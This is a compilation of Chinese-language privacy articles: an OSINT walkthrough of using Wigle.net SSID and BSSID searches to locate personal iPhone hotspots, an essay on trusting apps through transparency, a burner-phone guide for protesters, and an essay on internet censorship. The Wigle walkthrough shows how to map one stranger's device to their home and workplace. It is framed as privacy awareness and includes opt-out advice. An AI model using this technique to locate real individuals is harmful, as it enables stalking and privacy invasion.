从OSINT的角度来看，上面的数字1和2可能很有趣，表明它们是跨时间的事件。在这里，我们可以了解到无线网络命名方案是什么以及何时可能发生某些事。

在 OSINT 中收集数据很重要，分析这些数据更重要。尝试对“sansmay2017”网络进行搜索，使用https://wigle.net/search?ssid＝sansmay2017 页面执行我们想要的搜索，如下所示：

这张图似乎有些不对劲？我的意思是，接入点名称明确指出是“sansmay2017”，对吧，但是却有2001、2014的显示（看上图标有1的那个列）。他们穿越了吗？这里有什么可疑的事吗？不，并没有。这是基本的无线网络。

那么上面图片中发生了什么？点击第一个 BSSID 04：4F：AA：72：9C：58 来检查：

嗯，没错。上图显示此 BSSID 在2017年5月之前被发现使用其他无线网络名。

你们中的许多人都随身携带着无线网络发射器：手机或MiFi。这些设

备具有唯一的BSSID，当您无线连接它们时，它们会发出可以在Wigle中被记录的 SSID。

本案例中选择 iPhone，因为这样看起来更简单。获得iPhone时，您可以在初始配置中将您的名字（或您选择的昵称）输入设备。当您启用WiFi网络共享或移动热点功能时，iPhone会创建一个带有“YOURNAME的iPhone”的无线网络。例如，如果我在配置时将“IYP”这个名字放入我的新iPhone，当我打开WiFi网络共享时，我会看到“IYP的iPhone”的无线网络名（SSID）。

好的，现在回到Wigle.net并对“iphone”执行通配符SSID搜索，然后查看返回的内容。

哇哦，通过搜索检索到超过363,000个条目，可追溯到2001年 ...你发现了吧，这东西很可能严重危害隐私。请注意，上面的每个SSID（箭头2）都有一个找到它的地理位置。如果我们转入其中一个条目并发现无线网络所在的所有地点，该怎么办？如果在以下位置找到该怎么办？

- 设备所有者的家？
- 设备所有者的工作地点？
- 设备所有者的客户端？
- 酒吧、咖啡店、机场、酒店 .....可能会使用的其他地方？

选择一个随机的“%’s iphone”并查看 Wigle.net系统中是否记录了多个位置。保护所有者的隐私我们不会告诉您选择了哪个SSID，但下图显示，是的，您可以找到在不同位置标注的设备。

由于现在有了经纬度，很容易在地图上把这些点绘制出来。我们选择了

https://www.mapcustomizer.com/网站，但有还有很多其他途径可供选择（比如您可以使用Google地球或其他本地软件）。绘制的点的图像如下所示，并清楚地显示家庭、办公室、咖啡店或酒店.....（标记为1和2）。

⚠这是一个警告。任何人都可以玩这个游戏。“%’sphone”的格式不能假设该设备实际上是Apple设备。我们可以使用BSSID数据把它找出来。

IEEE（http://ieee.org）维护着哪个 MAC 地址（BSSID）注册到哪个

公司的权威列表。可以在http://standards-oui.ieee.org/oui/oui.txt查找此信息。

因此，如果我看到一个BSSID为“A0：04：60：1A：33：8C”的设备，我可以在 IEEE 列表中搜索“A0：04：60”（使用“—”而不是“：”）并发现设备所有者/制造商是“Netgear”。

回过头来验证Wigle.net数据。看看设备列表和他们的 BSSID 的前6位数 ……Wigle.net将以下设备标识为“paolo的iphone”。但它真的是苹果设备吗？

在 IEEE 列表中查找 08-EC-A9 。

「图」

嗨，那不是 Apple 设备。是三星。看到这种类型的不匹配有很多原因，包括该设备是三星设备，并使用“paolo的iphone”名来欺骗人们认为它是 iPhone 设备。

就这样。从隐私的角度来看，您应该从这个小游戏中了解到：

- 尽可能不要使用无线连接，使用USB；
- 记住发送无线信号的设备正在被记录和编目，并且可以提供位置和日期。如果您有mifi设备并随身携带，则可能会在某些日期和时间提供您的具体位置；
- 了解您选择的SSID名可以使您在Wigle.net中更容易或更难被找到；
- 从Wigle.net数据库中删除您的网络。

您可以做的另一件事是：改善WiFi网络的隐私，将’_nomap’或’_optout’附加到您的SSID。原因详见：https://wigle.net/phpbb/viewtopic.php?t＝2330

原文

为什么你不应该信任应用程序；以及如何解决这个问题 - iyouport

为什么互联网自由-Resist你应该了解的现实

【2019年12月5日存档】关于你的安全和权益，世上最简单易懂的说明。

当您向某人发送照片时，您的消息传递应用程序实际上首先将照片发送到应用程序的服务器，然后该服务器再将照片发送给你的联系人。它是这样的：

当然，在90年代，当互联网刚刚开始变大时，过程就是这样。

但是，在某个时刻，当监视资本家想出了如何从用户数据中获利的时候 .....所以现在实际上发生的事是这样的：

这只是发送一张照片。

⚠在2019年，应用程序可以访问您的相机、您的位置、您的麦克风、您的联系人、您的浏览习惯 .....甚至是您的医疗记录。

⚠只要轻点“允许”一次，应用程序甚至可以在您睡觉时将整个照片和视频库上传到后台服务器。

这个“一切免费”的互联网正在疯狂地吸取所有人的数据，并可能带来更严重的后果。

应用程序甚至利用行为经济学试图榨干用户的每一分钱和一分钟，这显然违背了用户的基本利益。

这些寡头公司一直在充分利用我们的数据来获取利润，他们并没有任何动力去保护我们的隐私。

由于如今所有人只会随着时间的推移更多地依赖那些应用程序，因此，关键问题是：

你怎么知道你是否可以信任一个应用程序？

有几种途径。

1、信任基于隐私政策

当您询问公司能否保护您的数据时，他们会通过告诉您阅读他们的隐私政策来作出回应 —— 该政策是他们撰写的（或复制粘贴的）文件，其中通常会承诺他们将保护您的数据。

但等等，是不是那个循环逻辑？我应该相信他们正在保护我的数据，因为……他们有一份文件说他们会保护我的数据？我怎么知道他们是不是在做他们在隐私政策中声称的任何事？

⚠事实证明，你我不可能知道应用程序公司是否违反了他们的隐私政策（或违反了一般的隐私法规），因为，一份文件实际上并没有阻止他们做任何事：他们拿出的是隐私政策，而不是隐私证明。

不仅如此，这些文件实际上并不具有法律约束力，而且在极少数情况下，当公司确实被抓住时，处罚是令人难以置信的轻微。

隐私政策和法规不会产生真正的信任，它们只会提供虚假的安全感，或者干脆叫它“隐私幻觉”。

2、信任基于定价

在互联网上有一句俗语：“如果产品是免费的，那么你就是产品。”

虽然收入必然会来自某个地方，但是，⚠有时人们却据此相信必然的逻辑谬误，即：“如果产品不是免费的，那么你就不是产品。”

这是严重的错误。

由于这个错误，有些人在选择要使用的应用程序时就开始使用价格作为标准，即 认为：非免费产品不会利用其数据获取利润。

当然，这是非常有可能的，并且，⚠公司既可能向您收取应用程序费用，同时也可以从您的数据中获利或安全性很差。

就如那些“50块钱的皮带卖500就能热销”的大众熟知的陷阱。

因此，定价是查找您可信赖的应用程序的不良标准。

3、信任基于美学

哇，那些应用截图看起来很光滑啊！他们的网站设计得丰富多彩，如此地精美，让您无法抗拒 ……为什么可爱的卡通熊会骗你呢？这甚至可能吗？

不幸的是，的确很可能 —— 卡通人物一直在撒谎。

由于它们是由人类创造的，而且他们的对话是由人类编写的，尽管它可能看起来很可爱。

网站的美学可能会告诉你，他们花了20美元购买了 SquareSpace 主题（或干脆是盗版），但却没有说明应用程序或服务的可信度如何 ——⚠甚至可能该公司已经把应该花在数据安全方面的钱全花在网站设计和动画上了。

4、信任基于流行

“昭仓不是跳下去了吗，唐塔也跳下去了，所以请你也跳下去吧！”

还记得当雅虎拥有超过30亿个账户时它们打破了什么世界纪录吗？没错，有史以来最大的数据泄露。

从那时起，其他公司的数十亿或数亿账户遭到破坏的程度更高了。

⚠而这些只是被披露的和已知的漏洞 —— 没有人知道实际数字是什么。

人气并不是应用程序值得信赖的可靠代理。

⚠事实上，甚至越来越多的应用程序通过营销骗局进入 App Store 的顶级图表。在这里看到《点击农场是什么？一个阴暗的互联网行业仍在中国蓬勃发展》。这可不是哪个国家的特例，而是全球的普遍性。

5、信任基于**“4096**位军事级加密**……**

流行语很酷，但是等一下，实际上是，流行语都很可怕，而且非常不诚实。

⚠公司和营销人员经常使用技术性或故意滥用和误用行话，以给人以技术复杂性和合法性的幻觉。

很多时候，如果你不理解某些东西，只有两个可能：解释者的工作太烂了；或者是因为解释者故意试图让你迷惑。

不论是哪种情况，你都应该谨慎，应该更少地相信解释者。

那究竟是什么造就了信任？

应用程序必须赢得其用户的信任，特别是当公司存在如此强大的财务激励使其必然撒谎和滥用用户数据时。

为了赢得用户的信任，应用程序应该完全透明 —— 公众应该能够看到应用程序及其服务器正在执行的所有操作，以便任何人都可以验证其中有没有疏忽、不诚实甚至是恶意活动。

换句话说：信任要基于透明度。

信任基于透明度

完全透明意味着将应用程序的整个操作公开、且可验证，从手机或计算机上的应用程序代码，到云上的服务器代码和基础架构，再到公司员工的行为，以及对所有这些的证明。

也就是说：触及您数据的一切。

如果你认为对我们每天使用的应用程序获得完整且可验证的透明度似乎是一个太过激进的想法，那是因为你已经接受了很长时间的洗脑培训，以至于对公司的期望已经非常少了。

我们每个人都已经接受过这样的培训，他们告诉你：可以上传你的所有个人数据，然后跪在地上祈祷它能获得最佳效果。

事实是，如果我们向公司提供了最敏感的个人信息，为什么我们不应该期望它们能够证明这些数据都被用来做了什么呢？

透明度标准

首先要明确的是，部分透明是不够充分的和具有误导性的，因为它仍然允许“

留一手“，从而破坏了透明度本身的目的。

例如，⚠只隐藏其服务器代码的一小部分的公司仍然能够将所有用户

数据秘密地从其服务器复制到未知的第三方。

那么我们如何知道应用程序是否完全透明？或者只是部分透明或根本不透明？

今天不存在完全透明的标准，所以我们创建一个标准，并免费赠送。

这个新标准称为 **Openly Operated**，因为完全透明需要应用程序的整个操作是开放和可验证的。

这包括公开所有应用程序源代码、服务器代码、基础结构和员工操作，以及提供准确性和有效性的证明。这就像向公众提供对应用程序操作员管理控制台的只读访问权限（例如这里）。

这与今天的应用程序有何不同？

还用开篇的照片发送为例 —— 但这次，应用程序是公开操作的：

与之前的示例不同，Openly Operated认证流程强制应用程序完全且可验证地透明，从而阻止应用程序运营商隐藏隐私和安全问题。

这个过程在很高的层次上是这样的：

1、该应用程序满足特定要求以证明完全透明，并使用对源代码、基础结构和其他证据的直接引用来证明应用程序的隐私或安全声明。

2、将这些要求和索赔证明结合到一个公开操作的审计工具包中，任何人都可以公开查看和验证。

3、与独立审核员进行匹配，审核员验证审核工具包以生成公开的经营审核报告，详细说明其验证并提供摘要。

这样每个人都可以参与“基于透明度的信任”：技术更高的用户可以通过深入了解审计工具包中的细节，自行执行验证；而不太精通技术的用户可以阅读独立的审计报告和摘要。

Openly Operated 是一项免费认证。其使命是让所有应用程序通过透明度赢得信任，因此所有文档都是免费提供的，公司无需支付任何许可即可获得认证。

这里甚至构建了一些示例来证明 Openly Operated 应用程序是可行的。

这些不仅仅是概念验证 —— 它们就在生产流程中，功能齐全，并且与真实用户一起大规模运营。

一切都应该 **Openly Operated**

公司对于他们如何处理数据和保留用户数据的时间等关键问题非常不诚实。

自创建至今，Facebook 提供的 “Only Me” 都是被视为隐私设置的。对于任何普通人来说，“Only Me”的含义就是只有自己能读，而不是其他任何人。

但是。在过去的十年中，我们已经了解到 Facebook 对 “Only Me” 的定义截然不同。

⚠对于 Facebook，“Only Me” 的意思是：用户“我”和所有 Facebook 的广告客户、以及他们的合作伙伴、以及 Facebook 的 25,000 名员工、还有大批的未知数量的承包商 ……，共同享用该信息。

隐私和安全丑闻每周都会发生，不是因为公司是邪恶的，而是监视资本主义 —— 像其他任何事情一样，这些公司有全套的激励措施。

在一个无法验证应用程序的安全性或隐私声明的世界中，为什么**A**公司应该保持诚实并因此赚更少的钱，而他们的竞争对手不诚实并因此赚更多钱？

目前的激励措施为不诚实和不安全的公司提供了更快的增长、更有效的竞争、更强大的营销、以及吸引大多数客户的优势。

Openly Operated 为公司提供了一种结构化的方式来证明其隐私和安全声明。

用户可以通过要求他们提供个人数据的应用程序的透明度来减少任何损失。

⚠问题不应该是“为什么我使用的应用程序应该透明？” —— 而是，“为什么我使用的应用程序不透明？他们藏着什么？“

你可以做什么

如果您认为可验证的透明度标准很重要，请参考以下方法：

1、与您的朋友和家人分享这篇文章。许多人仍然坚持旧的思维方式，即 隐私政策、美学或受欢迎程度是信任的有用指标。告诉他们：完全透明才是真正重要的，而且实际上是可能的。

2、订阅 Openly Operated 简报以接收每月更新。您的电子邮件地址保密，不会与第三方共享 —— 请参阅 OpenlyOperated.org 的审计工具包和审核报告中的证明。

3、在 OpenlyOperated.org 了解更多信息。无论您的技术专业水平如何，无论您是对透明度的诸多好处感到好奇，还是希望建立可以信任的应用程序的工程师，或者是希望在提高安全性的同时赢得客户的公司。

透明度应该是未来。“Only Me”就应该是“Only Me”。○□

原文

买不起/买不到一次性手机怎么办？这里是您在参加敏感行动之前需要了解的事 - iyouport

你应该了解的现实

【2020年9月18日存档】在中国，就算您只是出门和异议人士吃顿饭，也需要保持着*参加敏感政治活动*的安全意识和防御水平。

任何一种给反抗者的建议都会包括这一条内容：不要携带您自己的手机去参加抗议活动。因为手机本身就是追踪器。

- 这里有一个演示可以帮您理解手机追踪是如何完成的，并且能回溯式追踪到数年前您的行动《1200万部电话，一个数据集：利维坦眼中的世界》

无论您的抗议行为有多么和平，您都有被警察逮捕或殴打的危险。无需质疑，全世界的警察都不怎么讲理，只要他们声称“办案”，就可以做一切。

警察可能会没收您的手机并进行搜索 —— 所谓的数字取证，无论是否合法，或者他们可能会尝试破坏您的手机和电子设备，尤其是当您录制了包含当局暴力或非法行为的证据照片或视频时。

- 《数字取证正在泛滥：政府可以从你的手机中提取哪些数据？》
- 《警察查手机的东西长什么样？—— 从技术角度看移动设备取证》

上图中这本书在这里下载：https://www.patreon.com/posts/shou-ji-quan-he-38188672

持有证据的公民活动家需要特别小心这点。在下面看到注意事项和应对方法：

- 《公民取证技巧：如何留住真相？》

- 《当你手握真相：最基本的防护知识》
- 《如何安全地留住证据：给真相的记录者一些技术技巧建议》
- 更多内容详见 列表-3 “让它民主”

同时，手机作为记录设备在抗议活动中是很有用的，可以帮助您及时传达抗议现场的信息。在BLM中有一个抗议活动现场的直播平台，来自多个城市。 这些资料来自街上的人。这是一种很棒的自发式公民社会协作，将有助于抵制官方的抹黑宣传，甚至有可能曝光当局的渗透（目前该直播已经离线）。

拍摄警察是完全合法的，并且在您的权利之内，它是公民打击警察暴行的少数工具之一。能够与他人实时交流或找到队友也很重要，以防您被疏散或围困。

为了平衡这种矛盾 —— 人身安全和联络＋记录权的矛盾 —— 最安全的选择是将包含有关您的大量私人信息的主要手机留在家里，并携带专门准备的匿名的一次性备用手机参加抗议活动。

在下面看到各方面安全须知的详细介绍：

- 《如何在监视时代参加抗议活动》

那么，如果买不起/买不到一次性电话怎么办？Intercept 给了一些建议。

诺基亚1.3智能手机需要99美元，购买三个月的预付费服务还需要40美元。如果这对您来说太贵了，您可能还有其他选择：

如果您有老旧的手机还没扔掉，只要它仍然可以工作并且电池仍可以充电，就可以将其用作一次性备用电话，而不用购买新手机。

您只需要一张新的无关您身份的SIM卡。在准备抗议之前，请确保将手机恢复出厂设置。

如果您也没有老旧的手机，并且您决定带上自己的主要手机，请采取以下步骤以使其更安全 —— 私人数据最终落入警方手中的可能性较小：

1、禁用指纹和面部解锁功能，改为输入密码或口令来解锁手机。这样一来，解锁手机需要的时间就更长了，也大大增加了警察未经你同意就解锁手机的难度。

2、确保您的密码不容易被猜到。如果您使用的是数字密码，那么至少应该有6位数字，但越长越好。

3、设置**SIM**卡密码，这样可以防止警察从你的手机上取下SIM卡插入另一个手机，这样他们就可以接管你的电话号码。

这里是 iPhone 和 Android 的相关说明。如果您设置了SIM PIN，除了密码之外，每次重启手机时还需要输入SIM PIN。

如果您使用的是 Android，请确保手机的存储空间已加密（所有 iPhone 均默认加密）。在大多数 Android 手机上，您可以在“设置”应用中的“安全”」“加密手机” 下查找手机加密设置。

禁用所有不必要的智能手机功能，例如**Wi-Fi**、蓝牙和定位服务。您也可以在不需要使用网络时将手机保持在飞行模式。这将使您的手机泄漏的信息更少，那是那些警察可以用来跟踪您的信息。

- 《为什么您不该使用Wi-Fi》
- 《Wi-Fi是如何出卖你的？》

如何挑选一次性手机

挑选一次性手机的主要标准是成本，这意味着 iPhone 肯定要淘汰。您也许能找到旧的或翻新的 iPhone，但 Android 手机可以很好地完成这项工作，而且花费要少得多。

低配的 Android 手机经常遇到永远无法解决的安全问题，因此下一个标准是寻找支持最新安全更新的手机。

Intercept 的记者选择了诺基亚1.3，在亚马逊上以99美元的价格买到的。这款手机于2020年3月发布，配备了最新版本的 Android系统，电池续航能力不错，相机也不错。

他选择的是 Mint Mobile。以40美元的价格在亚马逊上订购了带有3个月服务的SIM卡。

不论您最终选择哪种，其步骤都是近似的。以便宜为基本标准，以满足最低需求为目标。

使用密码管理器

密码管理器是数字安全的很好选择之一。它允许您使用强大的随机密

码，而无需记忆它们。所有密码都被保存在一个加密的保险库中，你可以使用一个单一的口令来解锁它们，您需要记住的是这个口令。

一些不错的选择包括 Bitwarden、KeePassXC、LastPass 和 1Password。

设置备用手机时，您需要在密码管理器中保存以下信息：

- 预付费移动服务帐户的用户名和密码
- 一次性Google帐户的用户名和密码
- 用于解锁手机的PIN码
- signal的密码
- 与该手机有关的其他任何PIN或登录信息

设置和锁定诺基亚**1.3**或其他 **Android** 手机

观看他们的视频，以获取有关配置诺基亚1.3的完整教程，其中许多建议都适用于其他最新的 Android 手机。教程步骤包括：

- 插入预付的 Mint Mobile SIM 卡并激活手机服务
- 创建一次性 Google 帐户以与备用电话一起使用
- 安装系统更新，并调整所有 Android 设置，使其尽可能安全、并尽可能少的泄漏数据
- 安装和配置 **Signal** 应用，并在抗议期间将您需要的联系人添加到设备中，保证联系人信息不会被上传到所谓的云端

在这里看到解释《让政府机构从您使用的应用程序中提取大量数据的秘密技术：云取证》

- 仅安装对您的联系和传播信息最有必要的社交媒体应用，其他都不要安装
- 备份您收集到的照片和视频资料，以防止警察抢走您的收集导致证据丢失，在这里看到方法《如何在没有互联网或计算机的情况下备份手机中的媒体文档？：如何应对断网（5）》

下图是在加利福尼亚州奥克兰举行的BLM抗议活动，使用这款一次性手机拍摄的照片效果。

关于匿名，您想需要注意什么

如果您随身携带手机 —— 任何智能手机，你的位置就没有隐私。警察能够使用被称为黄貂鱼的间谍设备（IMSI-catchers）来监控和收集

抗议活动中所有手机的数据。此外，电信和技术公司也会从手机中收集自己庞大的位置数据，这类数据是不可能匿名的。

- 《如何应付政府使用黄貂鱼对公民进行的大规模间谍行为？》
- 关于追踪监视抗议者的演示《1200万部电话，一个数据集：利维坦眼中的世界》

下图是追踪动图演示，在这里看到：

使用备用手机的时候，请仅在必须开机的情况下再打开电源、并尽可能令其处于飞行模式。这是最基本应该做到的。但如果您真的想确保你的备用手机与你的身份没有任何联系，您必须做更多的工作。

1、您必须亲自使用现金购买，而不是在线购买手机和手机服务，并选择可以让您激活服务而不要求提供身份证明的运营商。

2、每当您需要使用互联网时，都需要使用**Tor**浏览器、或远离你家和工作单位的公共场所的公共Wi-Fi网络。

3、绝对不要在同一时间里同时打开您的主手机和备用手机！也不要在家里打开那个备用手机！

这些安全操作须知我们都有过详细介绍，见下面两个系列：《完美隐身》，和《变得难以被追踪》：

- 《如何做到完美隐身：直面你的对手—6大原则（1）》
- 《如何做到完美隐身：追踪者的手段和你的弱点（2）》
- 《如何做到完美隐身：思考方式是战略性的（3）》
- 《如何做到完美隐身：技术增值部分—最简单的分身方法（4）》
- 《如何做到完美隐身：清扫和清点—信息篡改的重要步骤（5）》
- 《如何做到完美隐身：令人兴奋的心理过招（6）》
- 《如何做到完美隐身：扫荡危险区域（7）》
- 《在不自由中创造自己的自由：变得难以被追踪的简单方法（1）》
- 《构建防御直觉是生存的基本功：变得难以被追踪的简单方法（2）》
- 《与S先生共度美好一天—反取证技巧：变得难以被追踪的简单方法（3）》
- 《保持零信任：变得难以被追踪的简单方法（4）》

- 《少即是多：变得难以被追踪的简单方法（5）》
- 《大保健应该成为习惯：变得难以被追踪的简单方法（6）》
- 《在雷达下低飞：变得难以被追踪的简单方法（7）》
- 《到底也没有无法被监听的电话？：变得难以被追踪的简单方法（8）》
- 《8个步骤实现基本匿名实践：变得难以被追踪的简单方法（9）》

以上这两套内容是关于安全防卫的综合性知识。

除了数字安全之外，在抗议活动中您还需要采取额外的措施以保持匿名，比如：穿不显眼的衣服，遮住您的脸，遮住身体上任何纹身和疤痕，制定路线计划以避开车牌阅读器、不要使用可以追踪你的行动的公交车卡。

在这里看到更多具体做法：《如何在监视时代参加抗议活动如何在监视时代参加抗议活动》。

在参加抗议之前

每次您准备去参加抗议活动时，都要清楚地知道自己要带什么东西。

除了您的一次性备用手机之外，把 *所有* 电子产品都留在家里。

*不要*带笔记本电脑、智能手表、或其他任何东西。

如果您打算用您的一次性手机带去参加不同的抗议活动，在您出发前往另一场抗议活动之前，一定要把一次性手机里的照片和视频复制到另一个设备上，然后删除手机中所有照片和视频，并删除之前抗议活动中的任何 **Signal** 对话。

结伴组团参加抗议活动是最好的选择。您应该把所有您认识的将参加抗议活动的人的电话号码放在您的一次性手机里，以备需要时可以联系他们。

如果您的朋友也带着自己的一次性手机，把他们的一次性手机号码放在您的通讯录里 —— 切记使用代号来标记这些号码！不要使用真名。

您也应该确保知道万一自己被逮捕了该找谁。

抗议组织者应该向与会者提供一个法律援助电话。您应该把这个电话

号码用永久性记号笔写在你的皮肤上！如果你被逮捕，警察会没收你的手机，所以不要仅仅记录在手机上。

你会想在监狱里打这个号码的，以便获得法律支持。

冠状病毒的流行还在进行中。一定要带上口罩和免洗洗手液，并在可以的情况下尝试社交距离，以避免传播病毒。此外，带一瓶水也是个好主意。

在抗议期间

记住您的权利，不管警察怎么说，在公共场合拍摄他们是完全合法的。

拍摄警察是公民强迫他们为其行为负责的极少数有用工具之一。

在社交媒体上分享抗议活动的照片和视频是好事，但是，您也应该注意其他抗议者的意愿。虽然法律上允许你在公共集会中拍摄任何东西，但是，在拍摄人们的脸部照片之前，应先征得同意，这也是一种尊重。

您可能会因为担心被警察抢走手机而丢失了所有拍摄的抗议现场照片和视频，倾向于选择将这些文件上传到谷歌相册，以便万一警察强行删除了手机中的记录，记录也不会丢失。但是，不要忘了，谷歌相册是不加密的，如果警察和政府当局提出要求，谷歌就会出卖你。

如果你被捕

即使你是完全和平的，没有违反任何法律，警察也可能在抗议活动中逮捕你。如果您察觉到自己即将被逮捕，那么您应该迅速这样做：关闭你的手机电源。这样警察就很难进入你的手机了。

除非有搜查令，否则警察无权在未经你同意的情况下搜查你的手机。如果警察要求你解锁手机，或者抢走你的手机要求你解锁，请告诉他们，“我不同意被搜查手机”、“我拒绝被搜查手机。我需要和律师谈谈” —— 就算您还没有律师，也没关系，但是你必须明确说出这句话。

警察可能会没收你的手机，无论如何都会非法搜查你的手机，但是，此刻您最好明确表示您不同意，这样才能在今后有可能的起诉中避免警察反咬你。

警察也有可能试图偷走或砸烂你的手机，特别是如果他们注意到你拍摄了他们的暴力行为。如果发生任何这类情况，至少您能保证那只是您的廉价一次性手机，上面有最少的数据，而不是一个昂贵的手机，里面充满了关于你的私密生活和政治行动的敏感信息。〇

原文

互联网如何让你失去自由？ - iyouport

你应该了解的现实

【2019年9月19日存档】美国学者终于承认了，新型专制是就是这个互联网带来的。

我们目前的年龄是由互联网定义的。

这个互联网在人类生活中已经变得如此根深蒂固，以至于获取上网的权利被认为是一项基本人权。

作为创新的媒介，它为我们提供了诸如 Uber Eats 和 Tinder 这样多样化的美好事物，更不用说促进工业和学术界的巨大飞跃了。

然而，就像任何足够复杂的技术一样，互联网已经创造了一些严重且无法预见的外部性。

其中最为紧迫的就是人类的自由潜在且不可逆转的下降 —— 互联网目前正在促进普通人生活能力的下降，这种能力本可以使其免于受到政府或企业的干预。

这不是抽象的危言耸听 —— 互联网的社会重要性与对其使用方式施加限制所必需的政治意愿和技术并行增加。

全球范围内对互联网的使用都存在着具体的局限性，西方国家很少有人完全理解这种情况有可能变得多么可怕。

自由、宽松的定义，是指以你选择的方式行事的能力，没有强迫或干涉 —— 无论是来自国家的还是来自你的同胞的强迫或干涉，你可以做得越多，你就越自由。

大多数人都支持言论自由，特别因为是言论自由有很多社会效用，但至少，你需要能知道经营一个政治博客不会导致你在劳教所里度过余生或者在被爆头中结束生命。

不幸的是，根据2018年自由之家的年度报告，由于各种原因，包括内

战、饥荒、不民主政权的崛起和根深蒂固的体制腐败，个人自由在全球范围内均受到了严重的压力。

在这里看到上述报告的中文增补版《数字威权主义的兴起: 灾年之畔》。

这不是巧合：信息和数据通过互联网传播的性质本身就有助于加快审查工具的发展和对某些信息的压制，以便为政治目标服务。

在这看到具体解释《为什么技术有利于暴政？—— 一场你必须参与的政治斗争》。

任何对俄罗斯或中国政治有粗略了解的人都知道，持久的国家审查是一种隐含的政权目标，表面上是为了确保社会稳定。

最引人注目的例子是中国的大防火墙：一种非常复杂的软件和人工审查的融合，与国家媒体协同运作，几乎可以完全控制中国公民可获得的信息的基调和类型。

俄罗斯则通过将其所有互联网流量重定向到内部路由来实现类似的概念。

虽然网络弹性是一个共同的安全目标，但所有外部流量（即俄罗斯与外部世界之间流动的信息）必须通过政府控制的检查点这一事实，几乎肯定是一种将被用于情报目的的机制 —— 俄罗斯国家政权将能够以网络安全为借口拒绝接受非国家批准的任何材料。（更多详见《战略性欺骗的主要方法》）

您可能想知道如果俄罗斯设法制造了比中国更具限制性的防火墙怎么办？没办法。只能确认这些是专制的、不自由的政权。

然而，虽然许多压迫性政权过去曾试图制定全面的审查机制，但互联网审查却是一个完全不同的野兽。

人类历史上第一次，通信将接近奇点，其中几乎所有非面对面的信息传输都将通过IP（互联网协议）发生。

随着通信变得越来越集中，在技术上可以做到监视和控制几乎所有通信。

根本问题是：如果您的政府无权（或不应该有权）监控您的物理通信，那么它在多大程度上有权监控您的数字通信？

并且，对于在其宪法中提供言论自由的国家：在多大程度上可以在互联网上限制宪法允许的言论或内容？

也许有人会争辩说，中国和俄罗斯的公民仍然可以表达对政权的不满，并讨论被禁止的政治话题，或者有效地选择退出受到国家或大公司审查的渠道。的确是。

但是，这未能解决问题的核心：当没有人能听到你说的话时，你真正拥有多少言论自由？

由于绝大多数有影响力的沟通都是以数字方式进行的，当您被排除在使用构成社会语话基础的任何数字平台之外时，您还有多少言论自由？

使用代理绕过封锁、或者只能在加密通信中匿名发言，只是安全措施，并不是言论自由。就如下面这个故事所讽刺的：那个亭子不仅不是言论自由，而且是对言论自由的讽刺。

公开反科技的西奥多·卡钦斯基（Theodore Kaczynski，又称 Unabomber）做出了有先见之明的观察，即*选择退出*论证在社会层面是错误的：在实践中，当采用该技术成为社会规范时，个人是否有权选择退出任何特定技术？

就如同，每个人都可以自由地拒绝购买汽车，但交通基础设施严重偏向于适合汽车的道路建设和维护。

选择不开车会就让你在到处是汽车的状态下处于极大的实际劣势。

互联网是未来的基础设施 —— 在某种程度上，这个世界将不再可能避免使用互联网技术，并且，通过扩展、内容和语话控制的机制，即便是笨拙的和技术上文盲的国家也可以顺利使用。

一段时间以来，美国一直在讨论相似的性质，特别是关于私人社交媒体拒绝尊重那些涉嫌违反其内部政策或指导方针的人的权利。（在这里看到一个案例《如果全网封锁周小平？一个舆论热点或许能帮助中国社会更深层理解审查》）。

就如俄罗斯和中国通过在网络层面监控互联网来确定什么是可接受的内容，性质一样，西方国家的大多数公民已经恐慌于这样一个事实，即 审查已经演变成了 Facebook 和 Twitter 等集中化社交媒体怪物的核心功能。

但关心这件事的人依旧太少，除非人们自己亲历账户被封锁、内容被删除。就如在中国讲述审查监视的效率一直很低，除非人们自己或自己的亲人遭遇了审查监视的威胁。

亚历山大·布鲁姆（Alexander Blum）在最近的一篇文章中全面分析了反对社交媒体审查的论点：当公共广场由私人和基本上不负责任的实体控制时，谁能说清明天哪些形式的言论可能被任意禁止？

Blum 认为，左翼进步公民应完全反对平台审查，因为他们自己未来可能会最先受到审查。

然而，虽然私人社交媒体平台已经有了强大的自我审查，但他们也同样继续受到其运营所在的监管环境的审查。

平台的级别仅仅是整个审查层次结构的一部分，从底层网络开始，以监视和整理来自多个私有平台的数据的监视系统结束。

Facebook 目前正在进行自我监管，以禁止白人民族主义和白人至上主义内容，同时等待澳大利亚政府决定其监控和删除极端主义内容的法律义务的程度。就连 Facebook 自己也承认，很难弄清楚谁是白人至上主义者。

一般而言，自我审查和被动政府干预之间的共生关系可能得到了 Blum 在其作品中所确定的进步人士的支持。

对 Twitter 禁令所表明的政治偏见的分析显示，Twitter（与硅谷出现的许多其他平台一样）具有内在的渐进式意识形态倾向，并且没有理由相信这种偏见会自我纠正。根本没有纠正的动机。

最令人震惊的是，互联网还倾向于加速技术的发展，这些技术允许物理监视和与互联网本身无关的其他类型的监控。

中国再次提供了一个反乌托邦的模版，其中包括哥特式的社会信用体系，允许政府对公民进行全方位的评估和评级，并惩罚任何所谓的反社会行为。

Facebook 更厉害，它已经达到了反乌托邦的终极模式，详见《Facebook 给了全球当权者一个终极暴政蓝图》

在互联网出现之前，这样的**1984**系统是完全不可行的：它需要大量的数据、以及以有意义和有效的方式，快速处理这些数据的计算能力。

互联网允许不同的中国政府部门相互沟通并更新社会信用评分。如果没有无处不在的瞬时传输大量数据的手段，就不可能有这种惩罚方法的存在。

关联《西方社会距离中国式的”社会信用体系”监控还有多远？》

西方政府也尝试过类似的系统。最臭名昭著的爱国者法案授予美国情报机构广泛的权力，以收集所有美国公民的数据。

事实证明美国的监视深入程度是极为惊人的。详见一个最全面的汇总报告《互联网霸主的时间线—— 他们将互联网视为间谍、破坏和战争的主场》。

在没有政府监视的情况下在线交流和共享数据的权利已经越来越少，这一可怕的趋势或许是不可逆转的。

在澳大利亚，当局已经提出立法，迫使加密通信服务提供商为政府机构开发后门，从而使大量私人内容向情报机构开放监视。

民主政府迫使互联网服务提供商或平台以这种方式行事的能力通常在功能上类似于专制国家政府的直接控制：国家监管的触角正慢慢地缠绕着日常的互联网使用。

在线审查的程度也明显超过了所谓的改善国家安全所需的一切。

欧洲指令第11条/第13条表明，在巨额罚款的威胁下，欧盟不会犹豫是否在互联网平台上施加巨大的（并且可以说是定义不明确的）义务：所谓的链接税和平台提供商现在需要的版权过滤在互联网时代开始时是不可想象的。

臭名昭著的英国色情禁令表明了国家单方面实施内容限制的惊人能力—— 就像在克赖斯特彻奇的悲剧之后，新西兰互联网服务提供商能做到迅速阻止视频内容的传播那样。

虽然这些例子没有暗示任何形式的反自由阴谋，但它们表明了一个关键点：没有审查和监视的互联网已经不复存在了。

